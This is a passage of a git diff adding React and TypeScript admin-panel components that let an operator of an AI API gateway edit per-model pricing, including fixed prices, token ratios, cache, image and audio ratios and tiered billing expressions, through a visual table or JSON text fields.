+                  <RadioGroupItem value='tiered_expr' id='tiered_expr' />
+                  <Label htmlFor='tiered_expr' className='font-normal'>
+                    {t('Tiered (billing expression)')}
+                  </Label>
+                </div>
+              </RadioGroup>
+            </div>
+
+            {pricingMode === 'tiered_expr' ? (
+              <TieredPricingEditor
+                modelName={form.getValues('name')}
+                billingExpr={billingExpr}
+                requestRuleExpr={requestRuleExpr}
+                onBillingExprChange={setBillingExpr}
+                onRequestRuleExprChange={setRequestRuleExpr}
+              />
+            ) : pricingMode === 'per-request' ? (
+              <FormField
+                control={form.control}
+                name='price'
+                render={({ field }) => (
+                  <FormItem>
+                    <FormLabel>{t('Fixed price (USD)')}</FormLabel>
+                    <FormControl>
+                      <Input
+                        type='text'
+                        placeholder='0.01'
+                        {...field}
+                        onChange={(e) => {
+                          const value = e.target.value
+                          if (validateNumber(value)) {
+                            field.onChange(value)
+                          }
+                        }}
+                      />
+                    </FormControl>
+                    <FormDescription>
+                      {t('Cost in USD per request, regardless of tokens used.')}
+                    </FormDescription>
+                    <FormMessage />
+                  </FormItem>
+                )}
+              />
+            ) : (
+              <>
+                <div className='space-y-4'>
+                  <Label>{t('Input mode')}</Label>
+                  <RadioGroup
+                    value={pricingSubMode}
+                    onValueChange={(value) =>
+                      setPricingSubMode(value as PricingSubMode)
+                    }
+                  >
+                    <div className='flex items-center space-x-2'>
+                      <RadioGroupItem value='ratio' id='ratio' />
+                      <Label htmlFor='ratio' className='font-normal'>
+                        {t('Ratio mode')}
+                      </Label>
+                    </div>
+                    <div className='flex items-center space-x-2'>
+                      <RadioGroupItem value='price' id='price' />
+                      <Label htmlFor='price' className='font-normal'>
+                        {t('Price mode (USD per 1M tokens)')}
+                      </Label>
+                    </div>
+                  </RadioGroup>
+                </div>
+
+                {pricingSubMode === 'ratio' ? (
+                  <>
+                    <FormField
+                      control={form.control}
+                      name='ratio'
+                      render={({ field }) => (
+                        <FormItem>
+                          <FormLabel>{t('Model ratio')}</FormLabel>
+                          <FormControl>
+                            <Input
+                              type='text'
+                              placeholder='1.0'
+                              {...field}
+                              onChange={(e) => {
+                                const value = e.target.value
+                                if (validateNumber(value)) {
+                                  field.onChange(value)
+                                  if (value) {
+                                    setPromptPrice(
+                                      (parseFloat(value) * 2).toString()
+                                    )
+                                  } else {
+                                    setPromptPrice('')
+                                  }
+                                }
+                              }}
+                            />
+                          </FormControl>
+                          <FormDescription>
+                            {field.value && !isNaN(parseFloat(field.value))
+                              ? t(
+                                  'Calculated price: ${{price}} per 1M tokens',
+                                  {
+                                    price: (
+                                      parseFloat(field.value) * 2
+                                    ).toFixed(4),
+                                  }
+                                )
+                              : t('Multiplier for prompt tokens.')}
+                          </FormDescription>
+                          <FormMessage />
+                        </FormItem>
+                      )}
+                    />
+
+                    <FormField
+                      control={form.control}
+                      name='completionRatio'
+                      render={({ field }) => (
+                        <FormItem>
+                          <FormLabel>{t('Completion ratio')}</FormLabel>
+                          <FormControl>
+                            <Input
+                              type='text'
+                              placeholder='1.0'
+                              {...field}
+                              onChange={(e) => {
+                                const value = e.target.value
+                                if (validateNumber(value)) {
+                                  field.onChange(value)
+                                  const ratio = form.getValues('ratio')
+                                  if (value && ratio) {
+                                    const compPrice =
+                                      parseFloat(ratio) * 2 * parseFloat(value)
+                                    setCompletionPrice(compPrice.toString())
+                                  } else {
+                                    setCompletionPrice('')
+                                  }
+                                }
+                              }}
+                            />
+                          </FormControl>
+                          <FormDescription>
+                            {field.value &&
+                            !isNaN(parseFloat(field.value)) &&
+                            promptPrice &&
+                            !isNaN(parseFloat(promptPrice))
+                              ? t(
+                                  'Calculated price: ${{price}} per 1M tokens',
+                                  {
+                                    price: (
+                                      parseFloat(promptPrice) *
+                                      parseFloat(field.value)
+                                    ).toFixed(4),
+                                  }
+                                )
+                              : t('Multiplier for completion tokens.')}
+                          </FormDescription>
+                          <FormMessage />
+                        </FormItem>
+                      )}
+                    />
+                  </>
+                ) : (
+                  <>
+                    <div className='space-y-4'>
+                      <div className='space-y-2'>
+                        <Label>{t('Prompt price ($/1M tokens)')}</Label>
+                        <Input
+                          type='text'
+                          placeholder='2.0'
+                          value={promptPrice}
+                          onChange={(e) =>
+                            handlePromptPriceChange(e.target.value)
+                          }
+                        />
+                        <p className='text-muted-foreground text-sm'>
+                          {promptPrice && !isNaN(parseFloat(promptPrice))
+                            ? t('Calculated ratio: {{ratio}}', {
+                                ratio: (parseFloat(promptPrice) / 2).toFixed(4),
+                              })
+                            : t('Enter Input price to calculate ratio')}
+                        </p>
+                      </div>
+
+                      <div className='space-y-2'>
+                        <Label>{t('Completion price ($/1M tokens)')}</Label>
+                        <Input
+                          type='text'
+                          placeholder='4.0'
+                          value={completionPrice}
+                          onChange={(e) =>
+                            handleCompletionPriceChange(e.target.value)
+                          }
+                        />
+                        <p className='text-muted-foreground text-sm'>
+                          {completionPrice &&
+                          !isNaN(parseFloat(completionPrice)) &&
+                          promptPrice &&
+                          !isNaN(parseFloat(promptPrice)) &&
+                          parseFloat(promptPrice) > 0
+                            ? t('Calculated ratio: {{ratio}}', {
+                                ratio: (
+                                  parseFloat(completionPrice) /
+                                  parseFloat(promptPrice)
+                                ).toFixed(4),
+                              })
+                            : t('Enter Completion price to calculate ratio')}
+                        </p>
+                      </div>
+                    </div>
+                  </>
+                )}
+
+                <Collapsible open={advancedOpen} onOpenChange={setAdvancedOpen}>
+                  <CollapsibleTrigger asChild>
+                    <Button
+                      type='button'
+                      variant='outline'
+                      className='flex w-full items-center justify-between'
+                    >
+                      {t('Advanced options')}
+                      <ChevronDown
+                        className={`h-4 w-4 transition-transform duration-200 ${
+                          advancedOpen ? 'rotate-180' : ''
+                        }`}
+                      />
+                    </Button>
+                  </CollapsibleTrigger>
+                  <CollapsibleContent className='space-y-6 pt-6'>
+                    <FormField
+                      control={form.control}
+                      name='cacheRatio'
+                      render={({ field }) => (
+                        <FormItem>
+                          <FormLabel>{t('Cache ratio')}</FormLabel>
+                          <FormControl>
+                            <Input
+                              type='text'
+                              placeholder='0.1'
+                              {...field}
+                              onChange={(e) => {
+                                const value = e.target.value
+                                if (validateNumber(value)) {
+                                  field.onChange(value)
+                                }
+                              }}
+                            />
+                          </FormControl>
+                          <FormDescription>
+                            {t('Discount ratio for cache hits.')}
+                          </FormDescription>
+                          <FormMessage />
+                        </FormItem>
+                      )}
+                    />
+
+                    <FormField
+                      control={form.control}
+                      name='createCacheRatio'
+                      render={({ field }) => (
+                        <FormItem>
+                          <FormLabel>{t('Create cache ratio')}</FormLabel>
+                          <FormControl>
+                            <Input
+                              type='text'
+                              placeholder='1.25'
+                              {...field}
+                              onChange={(e) => {
+                                const value = e.target.value
+                                if (validateNumber(value)) {
+                                  field.onChange(value)
+                                }
+                              }}
+                            />
+                          </FormControl>
+                          <FormDescription>
+                            {t(
+                              'Ratio applied when creating cache entries for supported models.'
+                            )}
+                          </FormDescription>
+                          <FormMessage />
+                        </FormItem>
+                      )}
+                    />
+
+                    <FormField
+                      control={form.control}
+                      name='imageRatio'
+                      render={({ field }) => (
+                        <FormItem>
+                          <FormLabel>{t('Image ratio')}</FormLabel>
+                          <FormControl>
+                            <Input
+                              type='text'
+                              placeholder='1.0'
+                              {...field}
+                              onChange={(e) => {
+                                const value = e.target.value
+                                if (validateNumber(value)) {
+                                  field.onChange(value)
+                                }
+                              }}
+                            />
+                          </FormControl>
+                          <FormDescription>
+                            {t('Multiplier for image processing.')}
+                          </FormDescription>
+                          <FormMessage />
+                        </FormItem>
+                      )}
+                    />
+
+                    <FormField
+                      control={form.control}
+                      name='audioRatio'
+                      render={({ field }) => (
+                        <FormItem>
+                          <FormLabel>{t('Audio ratio')}</FormLabel>
+                          <FormControl>
+                            <Input
+                              type='text'
+                              placeholder='1.0'
+                              {...field}
+                              onChange={(e) => {
+                                const value = e.target.value
+                                if (validateNumber(value)) {
+                                  field.onChange(value)
+                                }
+                              }}
+                            />
+                          </FormControl>
+                          <FormDescription>
+                            {t('Multiplier for audio inputs.')}
+                          </FormDescription>
+                          <FormMessage />
+                        </FormItem>
+                      )}
+                    />
+
+                    <FormField
+                      control={form.control}
+                      name='audioCompletionRatio'
+                      render={({ field }) => (
+                        <FormItem>
+                          <FormLabel>{t('Audio completion ratio')}</FormLabel>
+                          <FormControl>
+                            <Input
+                              type='text'
+                              placeholder='1.0'
+                              {...field}
+                              onChange={(e) => {
+                                const value = e.target.value
+                                if (validateNumber(value)) {
+                                  field.onChange(value)
+                                }
+                              }}
+                            />
+                          </FormControl>
+                          <FormDescription>
+                            {t('Multiplier for audio outputs.')}
+                          </FormDescription>
+                          <FormMessage />
+                        </FormItem>
+                      )}
+                    />
+                  </CollapsibleContent>
+                </Collapsible>
+              </>
+            )}
+
+            <DialogFooter>
+              <Button
+                type='button'
+                variant='outline'
+                onClick={() => onOpenChange(false)}
+              >
+                {t('Cancel')}
+              </Button>
+              <Button type='submit'>
+                {isEditMode ? t('Update') : t('Add')}
+              </Button>
+            </DialogFooter>
+          </form>
+        </Form>
+      </DialogContent>
+    </Dialog>
+  )
+}
diff --git a/new-api/web/default/src/features/system-settings/models/model-ratio-form.tsx b/new-api/web/default/src/features/system-settings/models/model-ratio-form.tsx
new file mode 100644
index 0000000..4c222cf
--- /dev/null
+++ b/new-api/web/default/src/features/system-settings/models/model-ratio-form.tsx
@@ -0,0 +1,342 @@
+import { memo, useCallback, useState } from 'react'
+import { type UseFormReturn } from 'react-hook-form'
+import { Code2, Eye } from 'lucide-react'
+import { useTranslation } from 'react-i18next'
+import { Button } from '@/components/ui/button'
+import {
+  Form,
+  FormControl,
+  FormDescription,
+  FormField,
+  FormItem,
+  FormLabel,
+  FormMessage,
+} from '@/components/ui/form'
+import { Switch } from '@/components/ui/switch'
+import { Textarea } from '@/components/ui/textarea'
+import { ModelRatioVisualEditor } from './model-ratio-visual-editor'
+
+type ModelFormValues = {
+  ModelPrice: string
+  ModelRatio: string
+  CacheRatio: string
+  CreateCacheRatio: string
+  CompletionRatio: string
+  ImageRatio: string
+  AudioRatio: string
+  AudioCompletionRatio: string
+  ExposeRatioEnabled: boolean
+  BillingMode: string
+  BillingExpr: string
+}
+
+type ModelRatioFormProps = {
+  form: UseFormReturn<ModelFormValues>
+  onSave: (values: ModelFormValues) => Promise<void>
+  onReset: () => void
+  isSaving: boolean
+  isResetting: boolean
+}
+
+export const ModelRatioForm = memo(function ModelRatioForm({
+  form,
+  onSave,
+  onReset,
+  isSaving,
+  isResetting,
+}: ModelRatioFormProps) {
+  const { t } = useTranslation()
+  const [editMode, setEditMode] = useState<'visual' | 'json'>('visual')
+
+  const handleFieldChange = useCallback(
+    (field: keyof ModelFormValues, value: string) => {
+      form.setValue(field, value, {
+        shouldValidate: true,
+        shouldDirty: true,
+      })
+    },
+    [form]
+  )
+
+  const toggleEditMode = useCallback(() => {
+    setEditMode((prev) => (prev === 'visual' ? 'json' : 'visual'))
+  }, [])
+
+  return (
+    <div className='space-y-6'>
+      <div className='flex justify-end'>
+        <Button variant='outline' size='sm' onClick={toggleEditMode}>
+          {editMode === 'visual' ? (
+            <>
+              <Code2 className='mr-2 h-4 w-4' />
+              {t('Switch to JSON')}
+            </>
+          ) : (
+            <>
+              <Eye className='mr-2 h-4 w-4' />
+              {t('Switch to Visual')}
+            </>
+          )}
+        </Button>
+      </div>
+
+      <Form {...form}>
+        {editMode === 'visual' ? (
+          <div className='space-y-6'>
+            <ModelRatioVisualEditor
+              modelPrice={form.watch('ModelPrice')}
+              modelRatio={form.watch('ModelRatio')}
+              cacheRatio={form.watch('CacheRatio')}
+              createCacheRatio={form.watch('CreateCacheRatio')}
+              completionRatio={form.watch('CompletionRatio')}
+              imageRatio={form.watch('ImageRatio')}
+              audioRatio={form.watch('AudioRatio')}
+              audioCompletionRatio={form.watch('AudioCompletionRatio')}
+              billingMode={form.watch('BillingMode')}
+              billingExpr={form.watch('BillingExpr')}
+              onChange={(field, value) => {
+                const fieldMap: Record<string, keyof ModelFormValues> = {
+                  'billing_setting.billing_mode': 'BillingMode',
+                  'billing_setting.billing_expr': 'BillingExpr',
+                }
+                const formField =
+                  fieldMap[field] || (field as keyof ModelFormValues)
+                handleFieldChange(formField, value)
+              }}
+            />
+
+            <FormField
+              control={form.control}
+              name='ExposeRatioEnabled'
+              render={({ field }) => (
+                <FormItem className='flex flex-row items-center justify-between rounded-lg border p-4'>
+                  <div className='space-y-0.5'>
+                    <FormLabel className='text-base'>
+                      {t('Expose ratio API')}
+                    </FormLabel>
+                    <FormDescription>
+                      {t(
+                        'Allow clients to query configured ratios via `/api/ratio`.'
+                      )}
+                    </FormDescription>
+                  </div>
+                  <FormControl>
+                    <Switch
+                      checked={field.value}
+                      onCheckedChange={field.onChange}
+                    />
+                  </FormControl>
+                </FormItem>
+              )}
+            />
+
+            <div className='flex flex-wrap gap-4'>
+              <Button onClick={form.handleSubmit(onSave)} disabled={isSaving}>
+                {isSaving ? t('Saving...') : t('Save model ratios')}
+              </Button>
+              <Button
+                type='button'
+                variant='destructive'
+                onClick={onReset}
+                disabled={isResetting}
+              >
+                {t('Reset ratios')}
+              </Button>
+            </div>
+          </div>
+        ) : (
+          <form onSubmit={form.handleSubmit(onSave)} className='space-y-6'>
+            <FormField
+              control={form.control}
+              name='ModelPrice'
+              render={({ field }) => (
+                <FormItem>
+                  <FormLabel>{t('Model fixed pricing')}</FormLabel>
+                  <FormControl>
+                    <Textarea rows={8} {...field} />
+                  </FormControl>
+                  <FormDescription>
+                    {t(
+                      'JSON map of model → USD cost per request. Takes precedence over ratio based billing.'
+                    )}
+                  </FormDescription>
+                  <FormMessage />
+                </FormItem>
+              )}
+            />
+
+            <FormField
+              control={form.control}
+              name='ModelRatio'
+              render={({ field }) => (
+                <FormItem>
+                  <FormLabel>{t('Model ratio')}</FormLabel>
+                  <FormControl>
+                    <Textarea rows={8} {...field} />
+                  </FormControl>
+                  <FormDescription>
+                    {t(
+                      'JSON map of model → multiplier applied to quota billing.'
+                    )}
+                  </FormDescription>
+                  <FormMessage />
+                </FormItem>
+              )}
+            />
+
+            <FormField
+              control={form.control}
+              name='CacheRatio'
+              render={({ field }) => (
+                <FormItem>
+                  <FormLabel>{t('Prompt cache ratio')}</FormLabel>
+                  <FormControl>
+                    <Textarea rows={8} {...field} />
+                  </FormControl>
+                  <FormDescription>
+                    {t('Optional ratio used when upstream cache hits occur.')}
+                  </FormDescription>
+                  <FormMessage />
+                </FormItem>
+              )}
+            />
+
+            <FormField
+              control={form.control}
+              name='CreateCacheRatio'
+              render={({ field }) => (
+                <FormItem>
+                  <FormLabel>{t('Create cache ratio')}</FormLabel>
+                  <FormControl>
+                    <Textarea rows={8} {...field} />
+                  </FormControl>
+                  <FormDescription>
+                    {t(
+                      'Ratio applied when creating cache entries for supported models.'
+                    )}
+                  </FormDescription>
+                  <FormMessage />
+                </FormItem>
+              )}
+            />
+
+            <FormField
+              control={form.control}
+              name='CompletionRatio'
+              render={({ field }) => (
+                <FormItem>
+                  <FormLabel>{t('Completion ratio')}</FormLabel>
+                  <FormControl>
+                    <Textarea rows={8} {...field} />
+                  </FormControl>
+                  <FormDescription>
+                    {t(
+                      'Applies to custom completion endpoints. JSON map of model → ratio.'
+                    )}
+                  </FormDescription>
+                  <FormMessage />
+                </FormItem>
+              )}
+            />
+
+            <FormField
+              control={form.control}
+              name='ImageRatio'
+              render={({ field }) => (
+                <FormItem>
+                  <FormLabel>{t('Image ratio')}</FormLabel>
+                  <FormControl>
+                    <Textarea rows={6} {...field} />
+                  </FormControl>
+                  <FormDescription>
+                    {t(
+                      'Configure per-model ratio for image inputs or outputs.'
+                    )}
+                  </FormDescription>
+                  <FormMessage />
+                </FormItem>
+              )}
+            />
+
+            <FormField
+              control={form.control}
+              name='AudioRatio'
+              render={({ field }) => (
+                <FormItem>
+                  <FormLabel>{t('Audio ratio')}</FormLabel>
+                  <FormControl>
+                    <Textarea rows={6} {...field} />
+                  </FormControl>
+                  <FormDescription>
+                    {t(
+                      'Ratio applied to audio inputs where supported by the upstream model.'
+                    )}
+                  </FormDescription>
+                  <FormMessage />
+                </FormItem>
+              )}
+            />
+
+            <FormField
+              control={form.control}
+              name='AudioCompletionRatio'
+              render={({ field }) => (
+                <FormItem>
+                  <FormLabel>{t('Audio completion ratio')}</FormLabel>
+                  <FormControl>
+                    <Textarea rows={6} {...field} />
+                  </FormControl>
+                  <FormDescription>
+                    {t(
+                      'Ratio applied to audio completions for streaming models.'
+                    )}
+                  </FormDescription>
+                  <FormMessage />
+                </FormItem>
+              )}
+            />
+
+            <FormField
+              control={form.control}
+              name='ExposeRatioEnabled'
+              render={({ field }) => (
+                <FormItem className='flex flex-row items-center justify-between rounded-lg border p-4'>
+                  <div className='space-y-0.5'>
+                    <FormLabel className='text-base'>
+                      {t('Expose ratio API')}
+                    </FormLabel>
+                    <FormDescription>
+                      {t(
+                        'Allow clients to query configured ratios via `/api/ratio`.'
+                      )}
+                    </FormDescription>
+                  </div>
+                  <FormControl>
+                    <Switch
+                      checked={field.value}
+                      onCheckedChange={field.onChange}
+                    />
+                  </FormControl>
+                </FormItem>
+              )}
+            />
+
+            <div className='flex flex-wrap gap-4'>
+              <Button type='submit' disabled={isSaving}>
+                {isSaving ? t('Saving...') : t('Save model ratios')}
+              </Button>
+              <Button
+                type='button'
+                variant='destructive'
+                onClick={onReset}
+                disabled={isResetting}
+              >
+                {t('Reset ratios')}
+              </Button>
+            </div>
+          </form>
+        )}
+      </Form>
+    </div>
+  )
+})
diff --git a/new-api/web/default/src/features/system-settings/models/model-ratio-visual-editor.tsx b/new-api/web/default/src/features/system-settings/models/model-ratio-visual-editor.tsx
new file mode 100644
index 0000000..ce6b223
--- /dev/null
+++ b/new-api/web/default/src/features/system-settings/models/model-ratio-visual-editor.tsx
@@ -0,0 +1,786 @@
+import { useState, useMemo, memo, useCallback, useEffect } from 'react'
+import {
+  type ColumnDef,
+  type PaginationState,
+  type VisibilityState,
+  type SortingState,
+  flexRender,
+  getCoreRowModel,
+  getFilteredRowModel,
+  getSortedRowModel,
+  getPaginationRowModel,
+  useReactTable,
+} from '@tanstack/react-table'
+import { Pencil, Plus, Trash2 } from 'lucide-react'
+import { useTranslation } from 'react-i18next'
+import { Button } from '@/components/ui/button'
+import {
+  Table,
+  TableBody,
+  TableCell,
+  TableHead,
+  TableHeader,
+  TableRow,
+} from '@/components/ui/table'
+import {
+  DataTableColumnHeader,
+  DataTableToolbar,
+  DataTablePagination,
+} from '@/components/data-table'
+import { StatusBadge } from '@/components/status-badge'
+import {
+  combineBillingExpr,
+  splitBillingExprAndRequestRules,
+} from '@/features/pricing/lib/billing-expr'
+import { safeJsonParse } from '../utils/json-parser'
+import { ModelRatioDialog, type ModelRatioData } from './model-ratio-dialog'
+
+type ModelRatioVisualEditorProps = {
+  modelPrice: string
+  modelRatio: string
+  cacheRatio: string
+  createCacheRatio: string
+  completionRatio: string
+  imageRatio: string
+  audioRatio: string
+  audioCompletionRatio: string
+  billingMode: string
+  billingExpr: string
+  onChange: (field: string, value: string) => void
+}
+
+type ModelRow = {
+  name: string
+  price?: string
+  ratio?: string
+  cacheRatio?: string
+  createCacheRatio?: string
+  completionRatio?: string
+  imageRatio?: string
+  audioRatio?: string
+  audioCompletionRatio?: string
+  billingMode?: string
+  billingExpr?: string
+  requestRuleExpr?: string
+  hasConflict: boolean
+}
+
+const STORAGE_KEY = 'model-ratio-column-visibility'
+
+const formatValue = (value?: string) => {
+  if (!value || value === '') return '—'
+  return value
+}
+
+export const ModelRatioVisualEditor = memo(
+  function ModelRatioVisualEditor({
+    modelPrice,
+    modelRatio,
+    cacheRatio,
+    createCacheRatio,
+    completionRatio,
+    imageRatio,
+    audioRatio,
+    audioCompletionRatio,
+    billingMode,
+    billingExpr,
+    onChange,
+  }: ModelRatioVisualEditorProps) {
+    const { t } = useTranslation()
+    const [dialogOpen, setDialogOpen] = useState(false)
+    const [editData, setEditData] = useState<ModelRatioData | null>(null)
+    const [sorting, setSorting] = useState<SortingState>([])
+    const [pagination, setPagination] = useState<PaginationState>({
+      pageIndex: 0,
+      pageSize: 10,
+    })
+    const [columnVisibility, setColumnVisibility] = useState<VisibilityState>(
+      () => {
+        const saved = localStorage.getItem(STORAGE_KEY)
+        if (saved) {
+          try {
+            return safeJsonParse<VisibilityState>(saved, {
+              fallback: {
+                cacheRatio: false,
+                imageRatio: false,
+                audioRatio: false,
+                audioCompletionRatio: false,
+              },
+              silent: true,
+            })
+          } catch {
+            return {
+              cacheRatio: false,
+              createCacheRatio: false,
+              imageRatio: false,
+              audioRatio: false,
+              audioCompletionRatio: false,
+            }
+          }
+        }
+        return {
+          cacheRatio: false,
+          createCacheRatio: false,
+          imageRatio: false,
+          audioRatio: false,
+          audioCompletionRatio: false,
+        }
+      }
+    )
+
+    useEffect(() => {
+      localStorage.setItem(STORAGE_KEY, JSON.stringify(columnVisibility))
+    }, [columnVisibility])
+
+    const models = useMemo(() => {
+      const priceMap = safeJsonParse<Record<string, number>>(modelPrice, {
+        fallback: {},
+        context: 'model prices',
+      })
+      const ratioMap = safeJsonParse<Record<string, number>>(modelRatio, {
+        fallback: {},
+        context: 'model ratios',
+      })
+      const cacheMap = safeJsonParse<Record<string, number>>(cacheRatio, {
+        fallback: {},
+        context: 'cache ratios',
+      })
+      const createCacheMap = safeJsonParse<Record<string, number>>(
+        createCacheRatio,
+        { fallback: {}, context: 'create cache ratios' }
+      )
+      const completionMap = safeJsonParse<Record<string, number>>(
+        completionRatio,
+        { fallback: {}, context: 'completion ratios' }
+      )
+      const imageMap = safeJsonParse<Record<string, number>>(imageRatio, {
+        fallback: {},
+        context: 'image ratios',
+      })
+      const audioMap = safeJsonParse<Record<string, number>>(audioRatio, {
+        fallback: {},
+        context: 'audio ratios',
+      })
+      const audioCompletionMap = safeJsonParse<Record<string, number>>(
+        audioCompletionRatio,
+        { fallback: {}, context: 'audio completion ratios' }
+      )
+      const billingModeMap = safeJsonParse<Record<string, string>>(
+        billingMode,
+        {
+          fallback: {},
+          context: 'billing mode',
+        }
+      )
+      const billingExprMap = safeJsonParse<Record<string, string>>(
+        billingExpr,
+        {
+          fallback: {},
+          context: 'billing expression',
+        }
+      )
+
+      const modelNames = new Set([
+        ...Object.keys(priceMap),
+        ...Object.keys(ratioMap),
+        ...Object.keys(cacheMap),
+        ...Object.keys(createCacheMap),
+        ...Object.keys(completionMap),
+        ...Object.keys(imageMap),
+        ...Object.keys(audioMap),
+        ...Object.keys(audioCompletionMap),
+        ...Object.keys(billingModeMap),
+        ...Object.keys(billingExprMap),
+      ])
+
+      const modelData: ModelRow[] = Array.from(modelNames).map((name) => {
+        const price = priceMap[name]?.toString() || ''
+        const ratio = ratioMap[name]?.toString() || ''
+        const cache = cacheMap[name]?.toString() || ''
+        const createCache = createCacheMap[name]?.toString() || ''
+        const completion = completionMap[name]?.toString() || ''
+        const image = imageMap[name]?.toString() || ''
+        const audio = audioMap[name]?.toString() || ''
+        const audioCompletion = audioCompletionMap[name]?.toString() || ''
+
+        const modeForModel = billingModeMap[name]
+        if (modeForModel === 'tiered_expr') {
+          // Tiered_expr models may also retain ratio/price values as fallback
+          // during multi-instance sync delays. We preserve them in the row so
+          // the edit dialog round-trip and the next save don't drop them.
+          const fullExpr = billingExprMap[name] || ''
+          const { billingExpr: pureExpr, requestRuleExpr } =
+            splitBillingExprAndRequestRules(fullExpr)
+          return {
+            name,
+            billingMode: 'tiered_expr',
+            billingExpr: pureExpr,
+            requestRuleExpr,
+            price,
+            ratio,
+            cacheRatio: cache,
+            createCacheRatio: createCache,
+            completionRatio: completion,
+            imageRatio: image,
+            audioRatio: audio,
+            audioCompletionRatio: audioCompletion,
+            hasConflict: false,
+          }
+        }
+
+        return {
+          name,
+          price,
+          ratio,
+          cacheRatio: cache,
+          createCacheRatio: createCache,
+          completionRatio: completion,
+          imageRatio: image,
+          audioRatio: audio,
+          audioCompletionRatio: audioCompletion,
+          billingMode: price !== '' ? 'per-request' : 'per-token',
+          hasConflict:
+            price !== '' &&
+            (ratio !== '' ||
+              completion !== '' ||
+              cache !== '' ||
+              createCache !== '' ||
+              image !== '' ||
+              audio !== '' ||
+              audioCompletion !== ''),
+        }
+      })
+
+      return modelData.sort((a, b) => a.name.localeCompare(b.name))
+    }, [
+      modelPrice,
+      modelRatio,
+      cacheRatio,
+      createCacheRatio,
+      completionRatio,
+      imageRatio,
+      audioRatio,
+      audioCompletionRatio,
+      billingMode,
+      billingExpr,
+    ])
+
+    const handleEdit = useCallback((model: ModelRow) => {
+      setEditData({
+        name: model.name,
+        price: model.price,
+        ratio: model.ratio,
+        cacheRatio: model.cacheRatio,
+        createCacheRatio: model.createCacheRatio,
+        completionRatio: model.completionRatio,
+        imageRatio: model.imageRatio,
+        audioRatio: model.audioRatio,
+        audioCompletionRatio: model.audioCompletionRatio,
+        billingMode:
+          model.billingMode === 'tiered_expr'
+            ? 'tiered_expr'
+            : model.price && model.price !== ''
+              ? 'per-request'
+              : 'per-token',
+        billingExpr: model.billingExpr,
+        requestRuleExpr: model.requestRuleExpr,
+      })
+      setDialogOpen(true)
+    }, [])
+
+    const handleAdd = useCallback(() => {
+      setEditData(null)
+      setDialogOpen(true)
+    }, [])
+
+    const handleDelete = useCallback(
+      (name: string) => {
+        const priceMap = safeJsonParse<Record<string, number>>(modelPrice, {
+          fallback: {},
+          silent: true,
+        })
+        const ratioMap = safeJsonParse<Record<string, number>>(modelRatio, {
+          fallback: {},
+          silent: true,
+        })
+        const cacheMap = safeJsonParse<Record<string, number>>(cacheRatio, {
+          fallback: {},
+          silent: true,
+        })
+        const createCacheMap = safeJsonParse<Record<string, number>>(
+          createCacheRatio,
+          { fallback: {}, silent: true }
+        )
+        const completionMap = safeJsonParse<Record<string, number>>(
+          completionRatio,
+          { fallback: {}, silent: true }
+        )
+        const imageMap = safeJsonParse<Record<string, number>>(imageRatio, {
+          fallback: {},
+          silent: true,
+        })
+        const audioMap = safeJsonParse<Record<string, number>>(audioRatio, {
+          fallback: {},
+          silent: true,
+        })
+        const audioCompletionMap = safeJsonParse<Record<string, number>>(
+          audioCompletionRatio,
+          { fallback: {}, silent: true }
+        )
+        const billingModeMap = safeJsonParse<Record<string, string>>(
+          billingMode,
+          { fallback: {}, silent: true }
+        )
+        const billingExprMap = safeJsonParse<Record<string, string>>(
+          billingExpr,
+          { fallback: {}, silent: true }
+        )
+
+        delete priceMap[name]
+        delete ratioMap[name]
+        delete cacheMap[name]
+        delete createCacheMap[name]
+        delete completionMap[name]
+        delete imageMap[name]
+        delete audioMap[name]
+        delete audioCompletionMap[name]
+        delete billingModeMap[name]
+        delete billingExprMap[name]
+
+        onChange('ModelPrice', JSON.stringify(priceMap, null, 2))
+        onChange('ModelRatio', JSON.stringify(ratioMap, null, 2))
+        onChange('CacheRatio', JSON.stringify(cacheMap, null, 2))
+        onChange('CreateCacheRatio', JSON.stringify(createCacheMap, null, 2))
+        onChange('CompletionRatio', JSON.stringify(completionMap, null, 2))
+        onChange('ImageRatio', JSON.stringify(imageMap, null, 2))
+        onChange('AudioRatio', JSON.stringify(audioMap, null, 2))
+        onChange(
+          'AudioCompletionRatio',
+          JSON.stringify(audioCompletionMap, null, 2)
+        )
+        onChange(
+          'billing_setting.billing_mode',
+          JSON.stringify(billingModeMap, null, 2)
+        )
+        onChange(
+          'billing_setting.billing_expr',
+          JSON.stringify(billingExprMap, null, 2)
+        )
+      },
+      [
+        modelPrice,
+        modelRatio,
+        cacheRatio,
+        createCacheRatio,
+        completionRatio,
+        imageRatio,
+        audioRatio,
+        audioCompletionRatio,
+        billingMode,
+        billingExpr,
+        onChange,
+      ]
+    )
+
+    const columns = useMemo<ColumnDef<ModelRow>[]>(() => {
+      // Ratio fields are not the primary pricing when a per-request fixed
+      // price is set, or when the model is in tiered_expr mode (the
+      // expression is primary; ratios are fallback during sync delays).
+      const isFallbackRow = (row: ModelRow) =>
+        row.billingMode === 'tiered_expr' || !!row.price
+      const fallbackClass = (row: ModelRow) =>
+        isFallbackRow(row) ? 'text-muted-foreground' : ''
+
+      return [
+        {
+          accessorKey: 'name',
+          header: ({ column }) => (
+            <DataTableColumnHeader column={column} title={t('Model name')} />
+          ),
+          cell: ({ row }) => (
+            <div className='flex items-center gap-2 font-medium'>
+              {row.getValue('name')}
+              {row.original.billingMode === 'tiered_expr' && (
+                <StatusBadge
+                  label={t('Tiered')}
+                  variant='info'
+                  copyable={false}
+                />
+              )}
+              {row.original.hasConflict && (
+                <StatusBadge
+                  label={t('Conflict')}
+                  variant='danger'
+                  copyable={false}
+                />
+              )}
+            </div>
+          ),
+          enableHiding: false,
+        },
+        {
+          accessorKey: 'price',
+          header: ({ column }) => (
+            <DataTableColumnHeader column={column} title={t('Fixed price')} />
+          ),
+          cell: ({ row }) => (
+            <span
+              className={
+                row.original.billingMode === 'tiered_expr'
+                  ? 'text-muted-foreground'
+                  : ''
+              }
+            >
+              {formatValue(row.getValue('price'))}
+            </span>
+          ),
+          meta: { label: 'Fixed price' },
+        },
+        {
+          accessorKey: 'ratio',
+          header: ({ column }) => (
+            <DataTableColumnHeader column={column} title={t('Ratio')} />
+          ),
+          cell: ({ row }) => (
+            <span className={fallbackClass(row.original)}>
+              {formatValue(row.getValue('ratio'))}
+            </span>
+          ),
+          meta: { label: 'Ratio' },
+        },
+        {
+          accessorKey: 'completionRatio',
+          header: ({ column }) => (
+            <DataTableColumnHeader column={column} title={t('Completion')} />
+          ),
+          cell: ({ row }) => (
+            <span className={fallbackClass(row.original)}>
+              {formatValue(row.getValue('completionRatio'))}
+            </span>
+          ),
+          meta: { label: 'Completion' },
+        },
+        {
+          accessorKey: 'cacheRatio',
+          header: ({ column }) => (
